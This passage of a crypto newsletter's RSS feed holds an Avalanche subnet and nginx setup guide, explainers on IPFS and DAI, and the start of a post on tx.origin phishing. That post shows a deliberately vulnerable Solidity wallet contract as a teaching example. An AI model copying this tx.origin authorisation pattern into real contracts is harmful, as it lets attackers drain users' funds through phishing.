class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> SUBNET ID                  <span class="hljs-operator">|</span> QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> BLOCKCHAIN ID              <span class="hljs-operator">|</span> j6TJTXGmMWWBvYHsyp1bZrkiSDJVoG4FpaWz4LrTjSjpE6zxN <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> CHAIN NAME                 <span class="hljs-operator">|</span> amafanssubnet                                     <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> VM ID                      <span class="hljs-operator">|</span> juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> VM GENESIS PATH            <span class="hljs-operator">|</span> amafanssubnet_genesis.json                        <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
</code></pre><p>This shows that your subnet QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV and Blockchain id is j6TJTXGmMWWBvYHsyp1bZrkiSDJVoG4FpaWz4LrTjSjpE6zxN</p><p>you can check this url <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://explorer-xp.avax-test.network/blockchain/j6TJTXGmMWWBvYHsyp1bZrkiSDJVoG4FpaWz4LrTjSjpE6zxN">https://explorer-xp.avax-test.network/blockchain/j6TJTXGmMWWBvYHsyp1bZrkiSDJVoG4FpaWz4LrTjSjpE6zxN</a> to see the blockchain and subnet.</p><p>!Subnet details</p><h2 id="h-make-your-rpc-url-available" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Make your rpc url available</h2><p>Install nginx for proxy forward port 80 to port 9650</p><h5 id="h-install-nginx" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Install nginx</h5><p>sudo apt-get install nginx</p><h5 id="h-edit-etcnginxsite-enableddefault-and-put-this-config" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Edit /etc/nginx/site-enabled/default and put this config.</h5><pre data-type="codeBlock" text="server {

        etag off;
        ssl_protocols TLSv1.2;
        ssl_ciphers &apos;ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256&apos;;
        ssl_prefer_server_ciphers on;

        listen 80;
        location / {
                proxy_pass   http://localhost:9650/;
                real_ip_header CF-Connecting-IP;
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                add_header X-Frame-Options &apos;deny&apos; always;
                add_header X-Content-Type-Options &quot;nosniff&quot;;
                add_header X-XSS-Protection &apos;1; mode=block&apos; always;
                add_header Cache-Control &apos;must-revalidate&apos;;
                add_header Strict-Transport-Security &quot;max-age=31536000; includeSubdomains; preload&quot;;

                proxy_redirect off;

        #limit_except GET POST PUT { deny all; }

        }
        location /healthcheck {
                # First attempt to serve request as file, then
                # as directory, then fall back to displaying a 404.
                #add_header Access-Control-Allow-Origin *;
                return 200;
        }

        location /home/ubuntu/ {
                deny all;
                return 403;
        }

}
"><code>server {

        etag off;
        ssl_protocols TLSv1<span class="hljs-number">.2</span>;
        ssl_ciphers <span class="hljs-string">'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256'</span>;
        ssl_prefer_server_ciphers on;

        listen <span class="hljs-number">80</span>;
        location <span class="hljs-operator">/</span> {
                proxy_pass   http:<span class="hljs-comment">//localhost:9650/;</span>
                real_ip_header CF<span class="hljs-operator">-</span>Connecting<span class="hljs-operator">-</span>IP;
                proxy_set_header Host $host;
                proxy_set_header X<span class="hljs-operator">-</span>Real<span class="hljs-operator">-</span>IP $remote_addr;
                proxy_set_header X<span class="hljs-operator">-</span>Forwarded<span class="hljs-operator">-</span>For $proxy_add_x_forwarded_for;
                add_header X<span class="hljs-operator">-</span>Frame<span class="hljs-operator">-</span>Options <span class="hljs-string">'deny'</span> always;
                add_header X<span class="hljs-operator">-</span>Content<span class="hljs-operator">-</span>Type<span class="hljs-operator">-</span>Options <span class="hljs-string">"nosniff"</span>;
                add_header X<span class="hljs-operator">-</span>XSS<span class="hljs-operator">-</span>Protection <span class="hljs-string">'1; mode=block'</span> always;
                add_header Cache<span class="hljs-operator">-</span>Control <span class="hljs-string">'must-revalidate'</span>;
                add_header Strict<span class="hljs-operator">-</span>Transport<span class="hljs-operator">-</span>Security <span class="hljs-string">"max-age=31536000; includeSubdomains; preload"</span>;

                proxy_redirect off;

        #limit_except GET POST PUT { deny all; }

        }
        location <span class="hljs-operator">/</span>healthcheck {
                # First attempt to serve request <span class="hljs-keyword">as</span> file, then
                # <span class="hljs-keyword">as</span> directory, then fall back to displaying a <span class="hljs-number">404.</span>
                #add_header Access<span class="hljs-operator">-</span>Control<span class="hljs-operator">-</span>Allow<span class="hljs-operator">-</span>Origin <span class="hljs-operator">*</span>;
                <span class="hljs-keyword">return</span> <span class="hljs-number">200</span>;
        }

        location <span class="hljs-operator">/</span>home<span class="hljs-operator">/</span>ubuntu<span class="hljs-operator">/</span> {
                deny all;
                <span class="hljs-keyword">return</span> <span class="hljs-number">403</span>;
        }

}
</code></pre><h5 id="h-open-port-80-on-the-security-group-of-your-validator-ec2-instance-for-00000" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Open port 80 on the security group of your validator ec2 instance for 0.0.0.0/0.</h5><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/authorizing-access-to-an-instance.html">here</a>.</p><h5 id="h-access-the-rpc" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Access the RPC</h5><p>Now access your RPC at http://[your validator elastic ip]/ext/bc/[Blockchain Id]/rpc</p>]]></content:encoded>
            <author>amafansofficial@newsletter.paragraph.com (AmaFansOfficial)</author>
        </item>
        <item>
            <title><![CDATA[How IPFS works: A non-technical version.]]></title>
            <link>https://paragraph.com/@amafansofficial/how-ipfs-works-a-non-technical-version</link>
            <guid>V8cj5BVzA49mvbd7XMl7</guid>
            <pubDate>Sat, 11 Jun 2022 20:46:20 GMT</pubDate>
            <description><![CDATA[When you want to visit a website today, your browser (client) sends a request to the servers (host) that “serve” up that website, even when those servers are across the globe from your current location. This is location-based addressing, and it uses IP-addresses to show your location. The data stored on the cloud can be referred to as cloud storage which stores all your data. On the other hand, Content-based addressing identifies content by what’s in it rather than by where it’s located. IPFS...]]></description>
            <content:encoded><![CDATA[<p>When you want to visit a website today, your browser (client) sends a request to the servers (host) that “serve” up that website, even when those servers are across the globe from your current location. This is <strong>location-based</strong> addressing, and it uses IP-addresses to show your location. The data stored on the cloud can be referred to as cloud storage which stores all your data.</p><p>On the other hand, Content-based addressing identifies content by what’s in it rather than by where it’s located. IPFS uses content-based addressing to store content and is generally referred to as a decentralized storage system. It is a peer-to-peer (p2p) storage network. Content is accessible through peers located anywhere in the world, who might relay information, store it, or do both. IPFS knows how to find what you ask for using its content address rather than its location. Anybody can run their own IPFS node for free.</p><p>There are three fundamental principles to understanding IPFS:</p><ol><li><p>Unique identification via content addressing</p></li><li><p>Content linking via directed acyclic graphs (DAGs)</p></li><li><p>Content discovery via distributed hash tables (DHTs)</p></li></ol><h1 id="h-content-addressing" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Content addressing</h1><p>IPFS uses <em>content addressing</em> to identify content by what’s in it rather than by where it’s located like searching a book by its name rather than by its location. IPFS assigns a unique name (content identifier, or CID or its <em>hash</em>) to every piece of content being stored. The hash is unique to the content that it came from, even though it may look short compared to the original content.</p><h1 id="h-directed-acyclic-graphs-dags" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Directed acyclic graphs (DAGs)</h1><p>IPFS and many other distributed systems take advantage of a data structure called <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Directed_acyclic_graph">directed acyclic graphs</a> (A Graph where each edge has an orientation, from one vertex to another vertex and has no directed cycles.), or DAGs. Specifically, they use <em>Merkle DAGs</em>, where each node has a unique identifier that is a hash of the node’s contents — CID. Put another way: identifying a data object (like a Merkle DAG node) by the value of its hash <em>is content addressing.</em></p><p>IPFS uses a Merkle DAG that is optimized for representing directories and files.</p><p>To build a Merkle DAG representation of your content, IPFS often first splits it into <em>blocks</em>. Splitting it into blocks means that different parts of the file can come from different sources and be authenticated quickly. (If you’ve ever used BitTorrent, you may have noticed that when you download a file, BitTorrent can fetch it from multiple peers at once; this is the same idea.)</p><p>Another useful feature of Merkle DAGs and breaking content into blocks is that if you have two similar files, they can share parts of the Merkle DAG, i.e., parts of different Merkle DAGs can reference the same subset of data. For example, if you update a website, only updated files receive new content addresses. Your old version and your new version can refer to the same blocks for everything else. This can make transferring versions of large datasets (such as genomics research or weather data) more efficient because you only need to transfer the parts that are new or changed, instead of creating entirely new files each time.</p><h1 id="h-distributed-hash-tables-dhts" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Distributed hash tables (DHTs)</h1><p>To find which peers are hosting the content you’re after (<em>discovery</em>), IPFS uses a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.ipfs.io/concepts/dht/">distributed hash table</a>, or DHT. A hash table is a database of keys to values. A <em>distributed</em> hash table is one where the table is split across all the peers in a distributed network. To find content, you ask these peers.</p><p>Once you know where your content is (or, more precisely, which peers are storing each of the blocks that make up the content you’re after), you use the DHT again to find the current location of those peers (<em>routing</em>).</p><p>You’ve discovered your content, and you’ve found the current location(s) of that content. Now, you need to connect to that content and get it (<em>exchange</em>). To request blocks from and send blocks to other peers, IPFS currently uses a module called <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ipfs/specs/blob/master/BITSWAP.md"><em>Bitswap</em> (opens new window)</a>. Bitswap allows you to connect to the peer or peers that have the content you want, send them your <em>wantlist</em> (a list of all the blocks you’re interested in), and have them send you the blocks you requested. Once those blocks arrive, you can verify them by hashing their content to get CIDs and compare them to the CIDs that you requested. These CIDs also allow you to deduplicate blocks if needed.</p><p><strong>There are several reasons for the advent of decentralized storage over centralized cloud storage.</strong></p><ul><li><p><strong>Data breaches:</strong> Just about all the major players have had data breaches in the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.theguardian.com/technology/2014/sep/01/naked-celebrity-hack-icloud-backup-jennifer-lawrence">last</a> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://businessinsights.bitdefender.com/worst-amazon-breaches">few</a> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.washingtonpost.com/news/the-switch/wp/2016/09/07/hacked-dropbox-data-of-68-million-users-is-now-or-sale-on-the-dark-web/?noredirect=on&amp;utm_term=.e18ef7a10792">years</a>.</p></li><li><p><strong>Data outages:</strong> Dreaded DDoS attacks can leave you and millions of others without data.</p></li><li><p><strong>Rising storage costs:</strong> This means high bandwidth transmission costs, as well as increased data security costs as centralized storage, is easier to attack.</p></li><li><p><strong>Lack of ownership:</strong> Your personal private data is not owned only by you.</p></li><li><p><strong>Censorship and monitoring:</strong> While there are some benefits associated with this, many people disagree with censorship and surveillance especially if it approaches Orwellian levels.</p></li><li><p><strong>Low transmission speed</strong></p></li></ul>]]></content:encoded>
            <author>amafansofficial@newsletter.paragraph.com (AmaFansOfficial)</author>
        </item>
        <item>
            <title><![CDATA[How Dai Stablecoin works]]></title>
            <link>https://paragraph.com/@amafansofficial/how-dai-stablecoin-works</link>
            <guid>wGp4JlXxruvIG47LhwXB</guid>
            <pubDate>Sat, 11 Jun 2022 20:45:42 GMT</pubDate>
            <description><![CDATA[DAI is an ERC-20 token and an Ethereum-based stablecoin whose price is kept in check through a system of smart contracts. How it works:You deposit/send ETH to Maker’s smart contract, creating a Vault for creating DAI. Vaults are required to be overcollateralized and have a Liquidation ratio** that Vault owners need to uphold to avoid the Liquidation** of their positions.Let’s say a Vault with a 170% Liquidation Ratio will require a minimum $1.70 of collateral value (in ETH or any other suppor...]]></description>
            <content:encoded><![CDATA[<p>DAI is an ERC-20 token and an Ethereum-based stablecoin whose price is kept in check through a system of smart contracts.</p><p>How it works:</p><ol><li><p>You deposit/send ETH to Maker’s smart contract, creating a Vault for creating DAI. Vaults are required to be overcollateralized and have a Liquidation ratio** that Vault owners need to uphold to avoid the Liquidation** of their positions.</p></li><li><p>Let’s say a Vault with a 170% Liquidation Ratio will require a minimum $1.70 of collateral value (in ETH or any other supported crypto) for every $1 of Dai created. If the value of the collateral falls to ≤ $1.69 it will be Liquidated to cover the created Dai in addition to a fee called the Liquidation Penalty**.</p><p>Example: You deposited 1 ETH (worth $1918) in Maker’s smart contract which will allow you to create 1128 DAI (using liquidation ratio** equation).</p></li></ol><p><strong>Case 1</strong>: The value of ETH keeps on rising and after 1 year, You decide to pay back 1128 DAI. You can claim your 1 ETH back by closing the vault which requires payment of 1128 DAI + Stability fee**. The DAI deposited will be burned and the stability fee goes to the Maker Protocol’s internal balance sheet.</p><p><strong>Case 2</strong>: The value of ETH falls below $1918 making your vault on the risk of Liquidation as value of your collateral falls below the required Liquidation Ratio** i.e &lt; 170 .</p><p>Keepers** will decide whether to Liquidate your vault or not based on the following conditions :</p><ol><li><p>No liquidation will happen if you deposit more ETH to restore your Liquidation Ratio.</p></li><li><p>If you fail to restore your liquidation ration, Your collateral will be sold to cover the debt along with a Liquidation Penalty**, leaving the remaining collateral available for withdrawal.</p></li></ol><p><strong>Case 3</strong>: The price of Ethereum rises beyond $1918 due to the bull market starting. Your vault is now over-collateralized. You can borrow more DAI from your vault as long as you aren&apos;t breaching the liquidation ratio**.</p><p>** Liquidation: Liquidation is the process of selling collateral to cover the amount of Dai a user has generated from their Vault. Liquidation helps to ensure that Dai is always backed by an appropriate amount of collateral by closing-out Vaults that are under their minimum required Collateralization Ratio for their given collateral type.</p><p>** Stability Fee: A variable-rate fee (x% per second.) continuously added to a Vault owner’s generated Dai balance. The SF is a variable rate and is subject to change based on the decisions of MKR Token holders through voting.</p><p>** Liquidation Penalty: The fee that is added to the total outstanding DAI debt when a liquidation occurs.</p><p>** Liquidation Ratio: (Collateral Amount x Collateral Price) ÷ Generated Dai × 100. The liquidation Ratio is the minimum required collateralization level for each Vault type before it is considered undercollateralized and subject to liquidation. Each Vault type’s Liquidation Ratio is determined by a combination of the collateral’s risk profile and the Stability Fee. There may be multiple Vault types for each collateral, with varying Liquidation Ratios and Stability Fees.</p><p>** Keepers: To make sure that the required surplus of collateral exists at all times, Keeps is a class of users who are incentivized to maintain a constant watch for Vaults that become under-collateralized.</p><p>** Liquidation Price : (Generated Dai * Liquidation Ratio) / (Amount of Collateral)</p>]]></content:encoded>
            <author>amafansofficial@newsletter.paragraph.com (AmaFansOfficial)</author>
        </item>
        <item>
            <title><![CDATA[Phishing with tx.origin on Ethereum]]></title>
            <link>https://paragraph.com/@amafansofficial/phishing-with-tx-origin-on-ethereum</link>
            <guid>dNmP5xHZqoB2AuR3WuMQ</guid>
            <pubDate>Sat, 11 Jun 2022 20:41:54 GMT</pubDate>
            <description><![CDATA[Let&apos;s understand what phishing actually is: Phishing is a cybercrime in which a target or targets are contacted by email, telephone or text message by someone posing as a legitimate institution to lure individuals into providing sensitive data such as personally identifiable information, banking, and credit card details, and passwords. The information is then used to access important accounts and can result in identity theft and financial loss. In this post, We will try to understand how...]]></description>
            <content:encoded><![CDATA[<p>Let&apos;s understand what phishing actually is:</p><p><strong><em>Phishing is a cybercrime in which a target or targets are contacted by email, telephone or text message by someone posing as a legitimate institution to lure individuals into providing sensitive data such as personally identifiable information, banking, and credit card details, and passwords.</em></strong></p><p><strong><em>The information is then used to access important accounts and can result in identity theft and financial loss.</em></strong></p><p>In this post, We will try to understand how a contract owner can be fooled into transferring all their eth to another Ethereum address</p><pre data-type="codeBlock" text="pragma solidity ^0.6.10;

contract Wallet {
    
    address public owner;   
    
    constructor() public {
        owner = msg.sender;
    }
    
    
    function deposit() public payable {}
    
    function transfer(address payable _to, uint amount) public {
        require(tx.origin == owner, &quot;Not the owner of this contract&quot;);
        (bool sent, ) = _to.call{value: amount}(&quot;&quot;);
        require (sent, &quot;Failed to send ether&quot;);
    } 
    
    
    function getBalance() public view returns (uint){
        return address(this).balance;
    }
    
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.10;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Wallet</span> </span>{
    
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;   
    
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }
    
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}
    
